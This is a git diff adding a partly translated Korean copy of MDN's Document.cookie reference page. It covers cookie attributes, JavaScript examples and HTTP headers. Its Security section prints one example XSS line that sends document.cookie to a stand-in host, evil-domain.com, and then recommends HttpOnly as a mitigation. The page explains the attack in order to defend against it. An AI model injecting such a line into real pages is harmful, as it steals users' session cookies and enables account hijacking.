initial commit

1 files changed, 243 insertions, 0 deletions

diff --git a/files/ko/web/api/document/cookie/index.html b/files/ko/web/api/document/cookie/index.html
new file mode 100644
index 0000000000..d5cfd2f0d3
--- /dev/null
+++ b/files/ko/web/api/document/cookie/index.html
@@ -0,0 +1,243 @@
+---
+title: Document.cookie
+slug: Web/API/Document/cookie
+translation_of: Web/API/Document/cookie
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p><span class="seoSummary"> {{domxref("Document")}} <code>cookie</code> 는 document와 연관된 <a href="/en-US/docs/Web/HTTP/Cookies">cookies</a> 를 읽고 쓸 수 있게 해준다. 쿠키의 실제값에 대한 getter 와 setter로 작동한다.</span></p>
+
+<h2 id="문법">문법</h2>
+
+<h3 id="Read_all_cookies_accessible_from_this_location">Read all cookies accessible from this location</h3>
+
+<pre class="syntaxbox notranslate"><var>allCookies</var> = <var>document</var>.cookie;</pre>
+
+<p>위 코드에서 <code><var>allCookies</var></code> 세미콜론으로 구분되는 모든 쿠키 리스트의 문자열이다. (다른 말로 <code><var>key</var>=<var>value</var></code>). Note that each <var>key</var> and <var>value</var> may be surrounded by whitespace (space and tab characters): in fact, {{RFC(6265)}} mandates a single space after each semicolon, but some user agents may not abide by this.</p>
+
+<h3 id="Write_a_new_cookie">Write a new cookie</h3>
+
+<pre class="syntaxbox notranslate" id="new-cookie_syntax"><var>document</var>.cookie = <var>newCookie</var>;</pre>
+
+<p>In the code above, <code>newCookie</code> is a string of form <code><var>key</var>=<var>value</var></code>. Note that you can only set/update a single cookie at a time using this method. Consider also that:</p>
+
+<ul>
+ <li>Any of the following cookie attribute values can optionally follow the key-value pair, specifying the cookie to set/update, and preceded by a semi-colon separator:
+  <ul>
+   <li id="new-cookie_path">
+    <div><code>;path=<var>path</var></code> (e.g., '<code>/</code>', '<code>/mydir</code>') If not specified, defaults to the current path of the current document location.</div>
+
+    <div class="note"><strong>Note:</strong> Prior to {{Gecko("6.0")}}, paths with quotes were treated as if the quotes were part of the string, instead of as if they were delimiters surrounding the actual path string. This has been fixed.</div>
+   </li>
+   <li id="new-cookie_domain"><code>;domain=<var>domain</var></code> (e.g., '<code>example.com</code>' or '<code>subdomain.example.com</code>'). If not specified, this defaults to the host portion of the current document location. Contrary to earlier specifications, leading dots in domain names are ignored, but browsers may decline to set the cookie containing such dots. If a domain is specified, subdomains are always included.
+    <div class="note"><strong>Note:</strong> The domain <em>must</em> match the domain of the JavaScript origin. Setting cookies to foreign domains will be silently ignored.</div>
+   </li>
+   <li id="new-cookie_max-age"><code>;max-age=<var>max-age-in-seconds</var></code> (e.g., <code>60*60*24*365</code> or 31536000 for a year)</li>
+   <li id="new-cookie_expires"><code>;expires=<var>date-in-GMTString-format</var></code> If neither <code>expires</code> nor <code>max-age</code> specified it will expire at the end of session.
+    <div class="warning">
+    <p>When user privacy is a concern, it's important that any web app implementation invalidate cookie data after a certain timeout instead of relying on the browser to do it. Many browsers let users specify that cookies should never expire, which is not necessarily safe.</p>
+    </div>
+
+    <ul>
+     <li>See {{jsxref("Date.toUTCString()")}} for help formatting this value.</li>
+    </ul>
+   </li>
+   <li id="new-cookie_secure"><code>;secure</code> Cookie to only be transmitted over secure protocol as https. Before Chrome 52, this flag could appear with cookies from http domains.</li>
+   <li id="new-cookie_samesite"><code>;samesite</code> <a href="/en-US/docs/Web/HTTP/Cookies#SameSite_cookies">SameSite</a> prevents the browser from sending this cookie along with cross-site requests. Possible values are <code>lax</code>, <code>strict</code> or <code>none</code>.
+    <ul>
+     <li>The <code>lax</code> value value will send the cookie for all same-site requests and top-level navigation GET requests. This is sufficient for user tracking, but it will prevent many CSRF attacks. This is the default value in modern browsers.</li>
+     <li>The <code>strict</code> value will prevent the cookie from being sent by the browser to the target site in all cross-site browsing contexts, even when following a regular link.</li>
+     <li>The <code>none</code> value explicitly states no restrictions will be applied. The cookie will be sent in all requests—both cross-site and same-site.</li>
+    </ul>
+   </li>
+  </ul>
+ </li>
+ <li>The cookie value string can use {{jsxref("Global_Objects/encodeURIComponent", "encodeURIComponent()")}} to ensure that the string does not contain any commas, semicolons, or whitespace (which are disallowed in cookie values).</li>
+ <li>Some user agent implementations support the following cookie prefixes:
+  <ul>
+   <li><code>__Secure-</code> Signals to the browser that it should only include the cookie in requests transmitted over a secure channel.</li>
+   <li><code>__Host-</code> Signals to the browser that in addition to the restriction to only use the cookie from a secure origin, the scope of the cookie is limited to a path attribute passed down by the server. If the server omits the path attribute the "directory" of the request URI is used. It also signals that the domain attribute must not be present, which prevents the cookie from being sent to other domains. For Chrome the path attribute must always be the origin.</li>
+  </ul>
+
+  <div class="note">The dash is considered part of the prefix.</div>
+
+  <div class="note">These flags are only settable with the <code>secure</code> attribute.</div>
+ </li>
+</ul>
+
+<div class="note"><strong>Note:</strong> As you can see from the code above, <code>document.cookie</code> is an <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/defineProperty#Description">accessor property</a> with native <em>setter</em> and <em>getter</em> functions, and consequently is <em>not</em> a <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/defineProperty#Description">data property</a> with a value: what you write is not the same as what you read, everything is always mediated by the JavaScript interpreter.</div>
+
+<h2 id="Examples">Examples</h2>
+
+<h3 id="Example_1_Simple_usage">Example #1: Simple usage</h3>
+
+<pre class="brush: js notranslate">document.cookie = "name=oeschger";
+document.cookie = "favorite_food=tripe";
+function alertCookie() {
+  alert(document.cookie);
+}
+</pre>
+
+<pre class="brush: html notranslate">&lt;button onclick="alertCookie()"&gt;Show cookies&lt;/button&gt;
+</pre>
+
+<p>{{EmbedLiveSample('Example_1_Simple_usage', 200, 36)}}</p>
+
+<h3 id="Example_2_Get_a_sample_cookie_named_test2">Example #2: Get a sample cookie named <em>test2</em></h3>
+
+<pre class="brush: js notranslate">document.cookie = "test1=Hello";
+document.cookie = "test2=World";
+
+const cookieValue = document.cookie
+  .split('; ')
+  .find(row =&gt; row.startsWith('test2'))
+  .split('=')[1];
+
+function alertCookieValue() {
+  alert(cookieValue);
+}
+</pre>
+
+<pre class="brush: html notranslate">&lt;button onclick="alertCookieValue()"&gt;Show cookie value&lt;/button&gt;</pre>
+
+<p>{{EmbedLiveSample('Example_2_Get_a_sample_cookie_named_test2', 200, 36)}}</p>
+
+<h3 id="Example_3_Do_something_only_once">Example #3: Do something only once</h3>
+
+<p>In order to use the following code, please replace all occurrences of the word <code>doSomethingOnlyOnce</code> (the name of the cookie) with a custom name.</p>
+
+<pre class="brush: js notranslate">function doOnce() {
+  if (!document.cookie.split('; ').find(row =&gt; row.startsWith('doSomethingOnlyOnce'))) {
+    alert("Do something here!");
+    document.cookie = "doSomethingOnlyOnce=true; expires=Fri, 31 Dec 9999 23:59:59 GMT";
+  }
+}</pre>
+
+<pre class="brush: html notranslate">&lt;button onclick="doOnce()"&gt;Only do something once&lt;/button&gt;</pre>
+
+<p>{{EmbedLiveSample('Example_3_Do_something_only_once', 200, 36)}}</p>
+
+<h3 id="Example_4_Reset_the_previous_cookie">Example #4: Reset the previous cookie</h3>
+
+<pre class="brush: js notranslate">function resetOnce() {
+  document.cookie = "doSomethingOnlyOnce=; expires=Thu, 01 Jan 1970 00:00:00 GMT";
+}</pre>
+
+<pre class="brush: html notranslate">&lt;button onclick="resetOnce()"&gt;Reset only once cookie&lt;/button&gt;</pre>
+
+<p>{{EmbedLiveSample('Example_4_Reset_the_previous_cookie', 200, 36)}}</p>
+
+<h3 id="Example_5_Check_a_cookie_existence">Example #5: Check a cookie existence</h3>
+
+<pre class="brush: js notranslate">//ES5
+
+if (document.cookie.split(';').some(function(item) {
+    return item.trim().indexOf('reader=') == 0
+})) {
+    console.log('The cookie "reader" exists (ES5)')
+}
+
+//ES2016
+
+if (document.cookie.split(';').some((item) =&gt; item.trim().startsWith('reader='))) {
+    console.log('The cookie "reader" exists (ES6)')
+}
+</pre>
+
+<h3 id="Example_6_Check_that_a_cookie_has_a_specific_value">Example #6: Check that a cookie has a specific value</h3>
+
+<pre class="brush: js notranslate">//ES5
+
+if (document.cookie.split(';').some(function(item) {
+    return item.indexOf('reader=1') &gt;= 0
+})) {
+    console.log('The cookie "reader" has "1" for value')
+}
+
+//ES2016
+
+if (document.cookie.split(';').some((item) =&gt; item.includes('reader=1'))) {
+    console.log('The cookie "reader" has "1" for value')
+}
+</pre>
+
+<h2 id="Security">Security</h2>
+
+<p>It is important to note that the <code>path</code> attribute does <em>not</em> protect against unauthorized reading of the cookie from a different path. It can be easily bypassed using the DOM, for example by creating a hidden {{HTMLElement("iframe")}} element with the path of the cookie, then accessing this iframe's <code>contentDocument.cookie</code> property. The only way to protect the cookie is by using a different domain or subdomain, due to the <a href="/en-US/docs/Same_origin_policy_for_JavaScript">same origin policy</a>.</p>
+
+<p>Cookies are often used in web application to identify a user and their authenticated session. So stealing the cookie from a web application, will lead to hijacking the authenticated user's session. Common ways to steal cookies include using Social Engineering or by exploiting an XSS vulnerability in the application -</p>
+
+<pre class="brush: js notranslate">(new Image()).src = "http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie;
+</pre>
+
+<p>The <code>HTTPOnly</code> cookie attribute can help to mitigate this attack by preventing access to cookie value through Javascript. Read more about <a class="external" href="http://www.nczonline.net/blog/2009/05/12/cookies-and-security/">Cookies and Security</a>.</p>
+
+<h2 id="Notes">Notes</h2>
+
+<ul>
+ <li>Starting with Firefox 2, a better mechanism for client-side storage is available - <a href="/en-US/docs/DOM/Storage">WHATWG DOM Storage</a>.</li>
+ <li>You can delete a cookie by simply updating its expiration time to zero.</li>
+ <li>Keep in mind that the more cookies you have, the more data will be transferred between the server and the client for each request. This will make each request slower. It is highly recommended for you to use <a href="/en-US/docs/DOM/Storage">WHATWG DOM Storage</a> if you are going to keep "client-only" data.</li>
+ <li><a href="http://www.ietf.org/rfc/rfc2965.txt">RFC 2965</a> (Section 5.3, "Implementation Limits") specifies that there should be <strong>no maximum length</strong> of a cookie's key or value size, and encourages implementations to support <strong>arbitrarily large cookies</strong>. Each browser's implementation maximum will necessarily be different, so consult individual browser documentation.</li>
+</ul>
+
+<p>The reason for the <a href="#Syntax">syntax</a> of the <code>document.cookie</code> accessor property is due to the client-server nature of cookies, which differs from other client-client storage methods (like, for instance, <a href="/en-US/docs/Web/Guide/API/DOM/Storage">localStorage</a>):</p>
+
+<h4 id="The_server_tells_the_client_to_store_a_cookie">The server tells the client to store a cookie</h4>
+
+<pre class="eval notranslate">HTTP/1.0 200 OK
+Content-type: text/html
+Set-Cookie: cookie_name1=cookie_value1
+Set-Cookie: cookie_name2=cookie_value2; expires=Sun, 16 Jul 3567 06:23:41 GMT
+
+[content of the page here]</pre>
+
+<h4 id="The_client_sends_back_to_the_server_its_cookies_previously_stored">The client sends back to the server its cookies previously stored</h4>
+
+<pre class="eval notranslate">GET /sample_page.html HTTP/1.1
+Host: www.example.org
+Cookie: cookie_name1=cookie_value1; cookie_name2=cookie_value2
+Accept: */*
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("DOM2 HTML", "html.html#ID-8747038", "Document.cookie")}}</td>
+   <td>{{Spec2("DOM2 HTML")}}</td>
+   <td>Initial definition</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("Cookie Prefixes")}}</td>
+   <td>{{Spec2("Cookie Prefixes")}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("api.Document.cookie")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/HTTP/Cookies">HTTP cookies</a></li>
+ <li><a href="/en-US/docs/Web/Guide/API/DOM/Storage">DOM Storage</a></li>
+ <li><a href="/en-US/docs/Web/API/URLUtils.pathname"><code>URLUtils.pathname</code></a></li>
+ <li>{{jsxref("Date.toUTCString()")}}</li>
+ <li><a href="/ja/docs/Web/HTTP"><code>HTTP</code></a></li>
+ <li><a href="/en-US/docs/Code_snippets/Cookies">Cookies (code snippets)</a></li>
+ <li><a href="https://tools.ietf.org/html/rfc2965">RFC 2965</a></li>
+</ul>